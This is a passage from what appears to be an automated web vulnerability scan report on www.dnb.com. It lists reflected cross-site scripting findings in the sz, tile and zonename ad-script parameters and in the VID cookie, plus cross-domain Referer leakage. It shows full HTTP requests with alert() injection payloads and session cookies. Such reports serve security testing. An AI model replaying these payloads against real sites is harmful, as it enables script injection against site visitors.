1.10. http://www.dnb.com/advscripts/iframedartad.php [sz parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /advscripts/iframedartad.php

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b5dde'%3balert(1)//0313be1e41d was submitted in the sz parameter. This input was echoed as b5dde';alert(1)//0313be1e41d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /advscripts/iframedartad.php?hostnetwork=ad.doubleclick.net&networkString=&sitename=hvrs.dnb.main&zonename=DNB_About_Us&keyvalues=;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=&tile=1&sz=990x60b5dde'%3balert(1)//0313be1e41d&rndTkn=rnd7458ZZZ&ord=5405063 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803821902; TS=2011%2D09%2D15%2015%3A41%3A42; COMPONENTID=0; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.1.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.1.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:44:18 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Content-Length: 1423
Content-Type: text/html; charset=UTF-8


<table id="adBox" cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<script language=Javascript1.1 src="//ad.doubleclick.net/adj/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;
...[SNIP]...
<a href="//ad.doubleclick.net/jump/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60b5dde';alert(1)//0313be1e41d;ord=5405063?">
...[SNIP]...

1.11. http://www.dnb.com/advscripts/iframedartad.php [tile parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /advscripts/iframedartad.php

Issue detail

The value of the tile request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3b2e8'%3balert(1)//875b82cb294 was submitted in the tile parameter. This input was echoed as 3b2e8';alert(1)//875b82cb294 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /advscripts/iframedartad.php?hostnetwork=ad.doubleclick.net&networkString=&sitename=hvrs.dnb.main&zonename=DNB_About_Us&keyvalues=;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=&tile=13b2e8'%3balert(1)//875b82cb294&sz=990x60&rndTkn=rnd7458ZZZ&ord=5405063 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803821902; TS=2011%2D09%2D15%2015%3A41%3A42; COMPONENTID=0; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.1.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.1.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:44:05 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Content-Length: 1423
Content-Type: text/html; charset=UTF-8


<table id="adBox" cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<script language=Javascript1.1 src="//ad.doubleclick.net/adj/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;
...[SNIP]...
<a href="//ad.doubleclick.net/jump/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=;tile=13b2e8';alert(1)//875b82cb294;sz=990x60;ord=5405063?">
...[SNIP]...

1.12. http://www.dnb.com/advscripts/iframedartad.php [zonename parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /advscripts/iframedartad.php

Issue detail

The value of the zonename request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9736c'%3balert(1)//dc1642756db was submitted in the zonename parameter. This input was echoed as 9736c';alert(1)//dc1642756db in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /advscripts/iframedartad.php?hostnetwork=ad.doubleclick.net&networkString=&sitename=hvrs.dnb.main&zonename=DNB_About_Us9736c'%3balert(1)//dc1642756db&keyvalues=;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=&tile=1&sz=990x60&rndTkn=rnd7458ZZZ&ord=5405063 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803821902; TS=2011%2D09%2D15%2015%3A41%3A42; COMPONENTID=0; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.1.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.1.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:43:40 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Content-Length: 1423
Content-Type: text/html; charset=UTF-8


<table id="adBox" cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<script language=Javascript1.1 src="//ad.doubleclick.net/adj/hvrs.dnb.main/DNB_About_Us9736c';alert(1)//dc1642756db;abr=!webtv
...[SNIP]...
<a href="//ad.doubleclick.net/jump/hvrs.dnb.main/DNB_About_Us9736c';alert(1)//dc1642756db;abr=!webtv;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=5405063?">
...[SNIP]...

1.13. http://www.dnb.com/ [VID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.dnb.com
Path:   /

Issue detail

The value of the VID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f1421'%3b5e9c658ea5 was submitted in the VID cookie. This input was echoed as f1421';5e9c658ea5 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET / HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0f1421'%3b5e9c658ea5; PAGEID=803821902; TS=2011%2D09%2D15%2015%3A41%3A42; COMPONENTID=0; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.1.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.1.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_cc=true; cs=Typed%2FBookmarked; ctc2=2; s_sq=%5B%5BB%5D%5D; s_len=1201; IPE_S_51093=51093; style=null

Response

HTTP/1.1 403 Forbidden
Date: Thu, 15 Sep 2011 20:43:35 GMT
Cache-Control: no-cache
Set-Cookie: PAGEID=803823661; Path=/
Set-Cookie: TS=2011%2D09%2D15%2015%3A43%3A36; Path=/
Set-Cookie: COMPONENTID=0; Expires=Sat, 14-Sep-2041 04:35:06 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Content-Length: 69843

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
       <head>
   
       <meta http-equiv="Co
...[SNIP]...
ddVars('page','Section','home');
           lpAddVars('page','CreativeID','15015085');
           lpAddVars('page','VisitorFromID','');

           lpAddVars('page','VisitorID','AE93AE04-5D1A-4067-84BC79B0091AFBD0f1421';5e9c658ea5');
           
       </script>
...[SNIP]...

1.14. http://www.dnb.com/15166033.html [VID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.dnb.com
Path:   /15166033.html

Issue detail

The value of the VID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1a523'%3b2d8d386131b was submitted in the VID cookie. This input was echoed as 1a523';2d8d386131b in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /15166033.html?q=xss&x=0&y=0 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD01a523'%3b2d8d386131b; PAGEID=803822374; TS=2011%2D09%2D15%2015%3A42%3A13; COMPONENTID=0; s_cc=true; s_len=1211; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.2.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.2.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); IPE_S_51093=51093; style=null; cs=Typed%2FBookmarked; ctc2=2; s_sq=dnb-prod%3D%2526pid%253DD%252526B%252520Home%252520Page%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.dnb.com%25252Fasset%25252Fimage%25252Fcss_backgrounds%25252F15034025.png%2526ot%253DIMAGE

Response

HTTP/1.1 403 Forbidden
Date: Thu, 15 Sep 2011 20:45:43 GMT
Cache-Control: no-cache
Set-Cookie: PAGEID=803825822; Path=/
Set-Cookie: TS=2011%2D09%2D15%2015%3A45%3A43; Path=/
Set-Cookie: COMPONENTID=0; Expires=Sat, 14-Sep-2041 04:37:13 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Content-Length: 61307

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
       <head>
   
       <meta http-equiv="Co
...[SNIP]...
ars('page','Section','product');
           lpAddVars('page','CreativeID','15166033');
           lpAddVars('page','VisitorFromID','');

           lpAddVars('page','VisitorID','AE93AE04-5D1A-4067-84BC79B0091AFBD01a523';2d8d386131b');
           
       </script>
...[SNIP]...

1.15. http://www.dnb.com/a [VID cookie]  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.dnb.com
Path:   /a

Issue detail

The value of the VID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2a308'%3bc9031441fc0 was submitted in the VID cookie. This input was echoed as 2a308';c9031441fc0 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /a HTTP/1.1
Host: www.dnb.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/15166033.html?q=xss10432%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.location)%3Ecc0dc1d09dc&x=0&y=0
Cookie: PAGEID=803825956; TS=2011%2D09%2D15%2015%3A45%3A52; COMPONENTID=0; JSESSIONID=E61E9BE34E95F23B121F78E640B7E817; SERVERID=dbcweb1; VID=B03F547A%2D8B32%2D4D5B%2D87673D1C26F6DCFC2a308'%3bc9031441fc0

Response (redirected)

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:46:42 GMT
Cache-Control: no-cache
Set-Cookie: PAGEID=803826940; Path=/
Set-Cookie: TS=2011%2D09%2D15%2015%3A46%3A42; Path=/
Set-Cookie: COMPONENTID=0; Expires=Sat, 14-Sep-2041 04:38:12 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Content-Length: 69845

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
       <head>
   
       <meta http-equiv="Co
...[SNIP]...
ddVars('page','Section','home');
           lpAddVars('page','CreativeID','15015085');
           lpAddVars('page','VisitorFromID','');

           lpAddVars('page','VisitorID','B03F547A-8B32-4D5B-87673D1C26F6DCFC2a308';c9031441fc0');
           
       </script>
...[SNIP]...

2. Cross-domain Referer leakage  previous  next
There are 5 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


2.1. http://www.dnb.com/15166033.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /15166033.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /15166033.html?q=xss&x=0&y=0 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803822374; TS=2011%2D09%2D15%2015%3A42%3A13; COMPONENTID=0; s_cc=true; s_len=1211; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.2.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.2.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); IPE_S_51093=51093; style=null; cs=Typed%2FBookmarked; ctc2=2; s_sq=dnb-prod%3D%2526pid%253DD%252526B%252520Home%252520Page%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.dnb.com%25252Fasset%25252Fimage%25252Fcss_backgrounds%25252F15034025.png%2526ot%253DIMAGE

Response

HTTP/1.1 403 Forbidden
Date: Thu, 15 Sep 2011 20:43:30 GMT
Cache-Control: no-cache
Set-Cookie: PAGEID=803823576; Path=/
Set-Cookie: TS=2011%2D09%2D15%2015%3A43%3A30; Path=/
Set-Cookie: COMPONENTID=0; Expires=Sat, 14-Sep-2041 04:35:00 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Content-Length: 61271

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
       <head>
   
       <meta http-equiv="Co
...[SNIP]...
<link rel="icon" href="/favicon.ico" type="image/x-icon"/>
   
       
       <script src="//ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"></script>
...[SNIP]...
<li><a href="http://www.dnbgov.com/" title="Government" target="_blank" onClick="return ab_click('nav_sol_gov', '0', 'e', this);" data-clicktrack="nav_sol_gov">Government</a>
...[SNIP]...
<li style="width:192px"><a href="http://www.DandB.com/businessdirectory-landing/" title="Business Directory | Credibility Review" onClick="return ab_click('nav_sb-my-dbcc', '0', 'e', this);" data-clicktrack="nav_credit-my-dbcc">Build Your Credibility</a>
...[SNIP]...
<li style="width:230px;height:40px;" class="last"><a href="https://www.DandB.com/establish-business-credit/" title="Get Your D&amp;B D-U-N-S Number Expedited" target="_blank" onClick="return ab_click('nav_sb-my-dbcc', '0', 'e', this);">Get Your D&amp;B D-U-N-S Number Expedited</a>
...[SNIP]...
<!-- Begin: 4q.iperceptions.com -->
<script src="http://4qinvite.4q.iperceptions.com/1.aspx?sdfc=acf2967e-50130-876f4550-7ee8-4da7-a378-d8a89c40258e&lID=1&loc=4Q-WEB2" type="text/javascript" defer="defer" ></script>
...[SNIP]...
<noscript><a href="http://www.omniture.com" title="Web Analytics"><img src="http://allbusiness.com.122.2o7.net/b/ss/allbusinesspartners/1/H.19--NS/0" height="1" width="1" border="0" alt="" /></a>
...[SNIP]...

2.2. http://www.dnb.com/advscripts/iframedartad.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /advscripts/iframedartad.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /advscripts/iframedartad.php?hostnetwork=ad.doubleclick.net&networkString=&sitename=hvrs.dnb.main&zonename=DNB_About_Us&keyvalues=;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=&tile=1&sz=990x60&rndTkn=rnd7458ZZZ&ord=5405063 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; PAGEID=803821902; TS=2011%2D09%2D15%2015%3A41%3A42; COMPONENTID=0; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.1.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.1.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:41:48 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Content-Length: 1283
Content-Type: text/html; charset=UTF-8


<table id="adBox" cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<script language=Javascript1.1 src="//ad.doubleclick.net/adj/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=5405063?"></script>
...[SNIP]...
<!-- for non JavaScript browsers and Netscape 2.x -->
<a href="//ad.doubleclick.net/jump/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=5405063?">
<img src="//ad.doubleclick.net/ad/hvrs.dnb.main/DNB_About_Us;abr=!webtv;cid=15015085;node=14881789;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=5405063?" border="0">
</a>
...[SNIP]...

2.3. http://www.dnb.com/advscripts/iframedartad.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /advscripts/iframedartad.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /advscripts/iframedartad.php?hostnetwork=ad.doubleclick.net&networkString=&sitename=hvrs.dnb.main&zonename=DNB_Supply_Mgmt&keyvalues=;cid=15166033;type=landingpageobject;ind=;compsize=&tile=1&sz=990x60&rndTkn=rnd9322ZZZ&ord=4866869 HTTP/1.1
Host: www.dnb.com
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/15166033.html?q=xss&x=0&y=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=C720CA665720DBC793967A9CBFDF576F; SERVERID=dbcweb1; VID=AE93AE04%2D5D1A%2D4067%2D84BC79B0091AFBD0; s_cc=true; s_len=1211; __utma=1.767077012.1316137321.1316137321.1316137321.1; __utmb=1.2.10.1316137321; __utmc=1; __utmz=1.1316137321.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=180721266.367581737.1316137324.1316137324.1316137324.1; __utmb=180721266.2.10.1316137324; __utmc=180721266; __utmz=180721266.1316137324.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); IPE_S_51093=51093; style=null; cs=Typed%2FBookmarked; ctc2=2; s_sq=dnb-prod%3D%2526pid%253DD%252526B%252520Home%252520Page%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.dnb.com%25252Fasset%25252Fimage%25252Fcss_backgrounds%25252F15034025.png%2526ot%253DIMAGE; PAGEID=803823556; TS=2011%2D09%2D15%2015%3A43%3A29; COMPONENTID=0

Response

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 20:43:31 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Content-Length: 1228
Content-Type: text/html; charset=UTF-8


<table id="adBox" cellpadding="0" cellspacing="0" border="0">
<tr>
<td>
<script language=Javascript1.1 src="//ad.doubleclick.net/adj/hvrs.dnb.main/DNB_Supply_Mgmt;abr=!webtv;cid=15166033;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=4866869?"></script>
...[SNIP]...
<!-- for non JavaScript browsers and Netscape 2.x -->
<a href="//ad.doubleclick.net/jump/hvrs.dnb.main/DNB_Supply_Mgmt;abr=!webtv;cid=15166033;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=4866869?">
<img src="//ad.doubleclick.net/ad/hvrs.dnb.main/DNB_Supply_Mgmt;abr=!webtv;cid=15166033;type=landingpageobject;ind=;compsize=;tile=1;sz=990x60;ord=4866869?" border="0">
</a>
...[SNIP]...

2.4. http://www.dnb.com/advscripts/iframedartad.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.dnb.com
Path:   /advscripts/iframedartad.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /advscripts/iframedartad.php?hostnetwork=ad.doubleclick.net&networkString=&sitename=hvrs.dnb.main&zonename=DNB_Supply_Mgmt&keyvalues=;cid=15166033;type=landingpageobject;ind=;compsize=&tile=1&sz=990x60&rndTkn=rnd6070ZZZ&ord=1205414 HTTP/1.1
Host: www.dnb.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.dnb.com/15166033.html?q=xss10432%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.location)%3Ecc0dc1d09dc&x=0&y=0
Cookie: PAGEID=803825956; TS=2011%2D09%2D15%2015%3A45%3A52; COMPONENTID=0; JSESSIONID=E61E9BE34E95F23B121F78E640B7E817; SERVERID=dbcweb1; VID=B03F547A%2D8B32%2D4D5B%2D87673D1C26F6DCFC

